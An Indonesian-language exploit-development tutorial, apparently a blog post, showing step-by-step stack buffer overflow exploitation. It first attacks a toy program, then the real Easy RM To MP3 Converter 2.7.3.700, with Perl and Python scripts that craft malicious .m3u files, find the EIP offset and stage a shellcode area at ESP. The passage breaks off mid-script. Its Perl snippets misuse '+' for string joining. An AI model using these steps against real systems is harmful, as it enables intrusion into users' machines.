beberapa hari lalu, saya telah membuatkan program untuk menghitung OFFSET secara tepat, aplikasi ini mirip dengan pattern create pada metasploit. namun saya menulisnya dengan bahasa pemrograman python dan menyatukan fungsi dari pattern_create.rb dan pattern_offset.rb pada metasploit. dan juga fungsi untuk menuliskan pattern ke bahasa pemrograman tertentu. yang akan memudahkan kita dalam penciptaan exploit. yang anda bisa lihat dan download disini https://sourceforge.net/projects/stackflowers/files/ anda bisa juga mendownload dalam bentuk source python, atau stand alone executable jika anda belum menginstall python pada sistem operasi anda. ok, saatnya kita menciptakan pattern dari stack flowers dengan perintah seperti ini pada command prompt : stackflowers.exe -c -s 150 . argument -c yang berarti “create pattern” dan -s untuk “size” dari pattern yang akan di ciptakan (150 bytes pada kali ini).

yang akan menghasilkan pattern seperti berikut :


Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

restart debugger & buka program kembali dan beri argument dengan hasil pattern yang sebelumnya. kemudian run.

register eip berisi 0x65413165 yang dimana little endian ascii hexadesimal dari “e1Ae”. 65 = e, 41 = A, 31 = 1, 65 = e . lalu kita gunakan kembali stack flowers untuk menghitung pattern pada eip, dimulai dari byte ke berapakah. kita bisa gunakan perintah ini : stackflowers.exe -l -o 0x65413165 -s 150. yang artinya -l sebagai locate -o sebagai offset -s sebagai size yang telah dibuat sebelumnya (150 bytes).

stack flowers mengatakan pattern tersebut dimulai dari byte ke 124 dari pattern. jadi kita memiliki 124 byte ditambah 4 byte untuk mengoverwrite EIP.

[...JUNK...] + [EIP]
124 byte     4 byte

Exploiting stack the basic

terbilang sebelumnya, EIP adalah instruksi selanjutnya yang akan di eksekusi oleh cpu. bagaimana kah jika kita mengisinya dengan pointer ke address fungsi winner() ?
tepat, maka fungsi Winner() akan tereksekusi.

sebelumnya kita tahu fungsi Winner() berada di lokasi address seperti ini :

004012B2  /$ 55             PUSH EBP                                      ;  Titik mulai fungsi Winner()
004012B3  |. 89E5           MOV EBP,ESP
004012B5  |. 83EC 08        SUB ESP,8
004012B8  |. C70424 0030400>MOV DWORD PTR SS:[ESP],overflow.00403000      ; |||ASCII "[*******************************************************************]"
004012BF  |. E8 DC050000    CALL <JMP.&msvcrt.printf>                     ; ||\printf
004012C4  |. C70424 4830400>MOV DWORD PTR SS:[ESP],overflow.00403048      ; ||ASCII "[*] Fungsi winner telah tereksekusi, program berhasil di exploitasi !"
004012CB  |. E8 D0050000    CALL <JMP.&msvcrt.printf>                     ; |\printf
004012D0  |. C70424 0030400>MOV DWORD PTR SS:[ESP],overflow.00403000      ; |ASCII "[*******************************************************************]"
004012D7  |. E8 C4050000    CALL <JMP.&msvcrt.printf>                     ; \printf
004012DC  |. C9             LEAVE
004012DD  \. C3             RETN

sekarang, mari kita membuat exploitnya dari program perl. exploit tehnik ini menggunakan address langsung dimana fungsi winner() berada, tepatnya pada addresss 0x004012b2. dan inilah sourcecode exploit programnya.

my $junk = "A" x 124;
my $eip = pack("V", 0x004012b2);

my $exploit = $junk + eip;

system("overflow.exe ",$exploit);

simpan sebagai exploit.pl dan run pada directory yang sama (program vulnerable sebelumnya), kemudian run .

exploit berhasil mengeksekusi fungsi winner(), dan kita juga bisa menggunakan alamat alternative ini.

0040133A  |. E8 73FFFFFF    CALL overflow.004012B2                        ;  memanggil fungsi program Winner() yang berada di 0x004012b2. yaitu fungsi Winner().

hanya dengan ganti $eip dengan 0x0040133A.

my $junk = "A" x 124;
my $eip = pack("V", 0x0040133A);

my $exploit = $junk + eip;

system("overflow.exe ",$exploit);

exploit berhasil lagi mengexploit EIP dan mengeksekusi fungsi winner(). selanjutnya kita akan mempelajari cara mengexploit aplikasi yang lebih sungguhan. tutorial sebelumnya saya targetkan agar anda mengerti cara bekerja exploitasi dari yang benar2 dasar, dan anda benar – benar mengetahui bagaimana exploitasi bekerja. tidak berfikir exploitasi bekerja seperti sulap, melainkan serangkaian proses yang logis dan sistematis. maka jika anda telah benar2 memahami bagaimana semua bekerja pada tutorial sebelumnya, yang selanjutnya akan mudah bagi anda.

Checking the program, find something interesting inside.

ok, sekarang pada saatnya kita akan menggunakan program “Easy RM To MP3 Converter 2.7.3.700” untuk mempraktekan serangan stack base overflow. disini kita akan bermain – main dengan yang sesungguhnya. mari kita check program tersebut rentan akan serangan atau tidak. dengan cara menginputkan data dengan jumlah banyak pada suatu aplikasi, kita dapat memeriksa apakah program tersebut rentan atau tidak. jika program rentang terhadap serangan, program akan crash karena program mengalami overflow pada stack.

pertama – tama mari kita membuat script untuk menciptakan file “crash_test.m3u” kali ini kita menggunakan python (saya harap anda telah menginstall python terlebih dahulu). simpan source ini sebagai “stack_test.py”.

filename = "crash_test.m3u"
junk = "\x41" * 30000

exploitf = open(filename, "wb")
exploitf.write(junk)
exploitf.close()

raw_input("%s has been created. press enter key to exit." % filename)

anda bisa langsung click 2 kali source tersebut yang akan di eksekusi oleh python, lalu “crash_test.m3u” akan tercipta. buka program (Easy RM To MP3 Converter 2.7.3.700) atau attach ke debugger terlebih dahulu. lalu load atau drag dan drop “crash_test.m3u” ke program converter.

EIP teroverwrite, namun pada byte ke berapakah EIP teroverwrite ? kita tahu A mengisi ke dalam buffer sebanyak 30000 bytes. sekarang kita coba untuk memisahkan payload antara “A” dan “B”. kita akan mencoba menulis “A” sebanyak 25000 byte kemudian “B” sebanyak 5000 byte. maka jika “AAAA” berada di dalam EIP maka kapasitas <= 25000 byte. namun jika “BBBB” berada di dalam EIP, maka kapasitas buffer > dari 25000 byte.

filename = "crash_test.m3u"
junkA = "\x41" * 25000
junkB = "\x42" * 5000

exploitf = open(filename, "wb")
exploitf.write(junkA+junkB)
exploitf.close()

raw_input("%s has been created. press enter key to exit." % filename)

lakukan hal yang sama sebelumnya, dan lihat apa yang telah tersimpan oleh instruction pointer .

terlihat ASCII dari “BBBB” yang mengoverwrite EIP. maka payload ke dalam buffer akan terlihat seperti ini :

[ .......25000 of "A"..........] + [ ....5000 of "B"....]
				       |
	       		               V
				      EIP ??

mari kita gunakan kembali stack flowers untuk menciptakan pattern. mari kita ciptakan pattern sebanyak 5000 byte. dan menulis variablenya ke dalam bahasa pemrograman python. dengan command : “stackflowers.exe -b -g python -s 5000 -p 50” dan kita buat kembali program python yang melahirkan file *.m3u .

filename = "pattern.m3u"
junkA = "\x41" * 25000
buff  = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab"
buff += "6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
buff += "d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"
buff += "Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"
buff += "6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"
buff += "i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
buff += "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al"
buff += "6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
buff += "n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9"
buff += "Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
buff += "6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A"
buff += "s3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
buff += "Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av"
buff += "6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A"
buff += "x3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9"
buff += "Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
buff += "6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2B"
buff += "c3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9"
buff += "Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf"
buff += "6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
buff += "h3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9"
buff += "Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk"
buff += "6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2B"
buff += "m3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9"
buff += "Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp"
buff += "6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2B"
buff += "r3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9"
buff += "Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu"
buff += "6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2B"
buff += "w3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9"
buff += "By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz"
buff += "6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C"
buff += "b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9"
buff += "Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce"
buff += "6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2C"
buff += "g3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9"
buff += "Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj"
buff += "6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2C"
buff += "l3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9"
buff += "Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
buff += "6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2C"
buff += "q3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"
buff += "Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct"
buff += "6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2C"
buff += "v3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9"
buff += "Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy"
buff += "6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2D"
buff += "a3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9"
buff += "Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd"
buff += "6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"
buff += "f3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9"
buff += "Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di"
buff += "6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2D"
buff += "k3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9"
buff += "Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn"
buff += "6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D"
buff += "p3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9"
buff += "Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds"
buff += "6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2D"
buff += "u3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
buff += "Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx"
buff += "6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2D"
buff += "z3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9"
buff += "Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec"
buff += "6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2E"
buff += "e3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9"
buff += "Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh"
buff += "6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2E"
buff += "j3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9"
buff += "El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em"
buff += "6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2E"
buff += "o3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9"
buff += "Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er"
buff += "6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2E"
buff += "t3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9"
buff += "Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew"
buff += "6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2E"
buff += "y3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9"
buff += "Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb"
buff += "6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F"
buff += "d3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9"
buff += "Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg"
buff += "6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2F"
buff += "i3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9"
buff += "Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl"
buff += "6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2F"
buff += "n3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9"
buff += "Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq"
buff += "6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2F"
buff += "s3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9"
buff += "Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv"
buff += "6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2F"
buff += "x3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9"
buff += "Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga"
buff += "6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2G"
buff += "c3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9"
buff += "Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf"
buff += "6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2G"
buff += "h3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9"
buff += "Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

exploitf = open(filename, "wb")
exploitf.write(junkA+buff)
exploitf.close()

raw_input("%s has been created. press enter key to exit." % filename)

lakukan hal yang sama seperti sebelumnya pada “pattern.m3u” yang sudah tercipta, kemudian lihat apa yang terjadi pada debugger.

eip berisi 0x42336B42, locate kembali pattern tersebut dengan stack flowers. dengan perintah “stackflowers.exe -l -o 0x42336B42 -s 5000”.

stack flowers mengatakan pattern tersebut di mulai dari 1089 bytes. maka, 25000 + 1089 = 26089 bytes untuk junk + 4 bytes untuk EIP.
maka exploit kita akan terlihat seperti ini :

[ .........26089 bytes junk......... ] + [ 4 bytes EIP ]
filename = "absolute_eip.m3u"
junk = "\x41" * 26089
eip = "\x43" * 4

exploitf = open(filename, "wb")
exploitf.write(junk+eip)
exploitf.close()

raw_input("%s has been created. press enter key to exit." % filename)

strike ! eip teroverwrite dengan 0x43434343 seperti yang kita inginkan.

Finding some space for saving our shellcode

sekarang, kita membutuhkan tempat untuk menyimpan shellcode kita. shellcode adalah sekumpulan kode operasi yang akan kita gunakan payload program yang akan kita exploitasi. pada tutorial ini, kita akan mencari tempat untuk menyimpan shellcode, sebut saja 1000 bytes yang akan kita butuhkan. walaupun nanti kita hanya membutuhkan tidak sampai 1000 bytes untuk shellcode kita yang sebenarnya. namun dimanakah kita akan menyimpan shellcode kita tersebut ? kita dapat menyimpan shellcode kita ke dalam register yang sebelumnya terisi oleh “A”. dan kita dapat menggunakan ESP untuk menyimpan shellcode kita. dan kita harus memastikan secara jelas pada byte ke berapa nanti shellcode kita akan dimulai. dan mari kita gunakan stack flowers untuk menciptakan 1000 bytes. lalu kita satukan dengan junk + eip seperti tadi.

filename = "host_shellcode.m3u"
junk = "\x41" * 26089
eip = "\x43" * 4
shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab"
shellcode += "6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
shellcode += "d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"
shellcode += "Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"
shellcode += "6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"
shellcode += "i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
shellcode += "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al"
shellcode += "6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
shellcode += "n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9"
shellcode += "Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
shellcode += "6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A"
shellcode += "s3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
shellcode += "Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av"
shellcode += "6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A"
shellcode += "x3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9"
shellcode += "Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
shellcode += "6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2B"
shellcode += "c3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9"
shellcode += "Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf"
shellcode += "6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

exploitf = open(filename, "wb")
exploitf.write(junk+eip+shellcode)
exploitf.close()

raw_input("%s has been created. press enter key to exit." % filename)

lihatlah pada register esp; ESP teroverwrite oleh 0x61413161 yang sama dengan “a1Aa” dimana pattern tersebut dimulai dari byte ke 4 dari pattern. maka kita butuh 4 bytes sebagai pendorong agar shellcode terletak pasti pada ESP.

[ .........26089 bytes junk......... ] + [ 4 bytes EIP ] + [ 4 bytes pendorong ] + [ 1000 bytes shellcode yang terletak pada esp]
              AAAA                             CCCC                 DDDD                             shellcode
filename = "host_shellcode2.m3u"
junk = "\x41" * 26089
eip = "\x43" * 4
pendorong = "\x44" * 4
shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab"
shellcode += "6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
shellcode += "d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"
shellcode += "Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"
shellcode += "6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"
shellcode += "i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
shellcode += "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al"
shellcode += "6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
shellcode += "n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9"
shellcode += "Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
shellcode += "6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2A"
shellcode += "s3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
shellcode += "Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av"
shellcode += "6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A"
shellcode += "x3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9"
shellcode += "Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
shellcode += "6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2B"
shellcode += "c3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9"
shellcode += "Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf"
shellcode += "6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

exploitf = open(filename, "wb")
exploitf.write(junk+eip+pendorong+shellcode)
exploitf.close()

raw_input("%s has been created. press enter key to exit." % filename)

shellcode kita berada pada awal ESP yang tepat. sekarang kita buat EIP berisi pointer dimana address register ESP berada. register ESP berada di alamat 0x0010FD38 , yang kita inginkan adalah mengisi EIP dengan pointer address ESP berada (0x0010FD38) lalu kemudian mengeksekusi shellcode yang berada pada register ESP.

                                                                                    .---------- Mengeksekusi shellcode --------->
                                                                                    |
[ .........26089 bytes junk......... ] + [ 4 bytes EIP ] + [ 4 bytes pendorong ] + [ 1000 bytes shellcode yang terletak pada esp ]
             AAAA                           0x0010FD38       NOP (no operation)     ^                shellcode
			                        |                                   |
						'-----------------------------------'

from struct import pack

filename = "pre_exploit.m3u"
junk = "\x41" * 26089
eip = pack("L", 0x0010FD38) # direct pointer address ESP
pendorong = "\x44" * 4
shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab"
shellcode += "6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
shellcode += "d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"
shellcode += "Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"
shellcode += "6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"
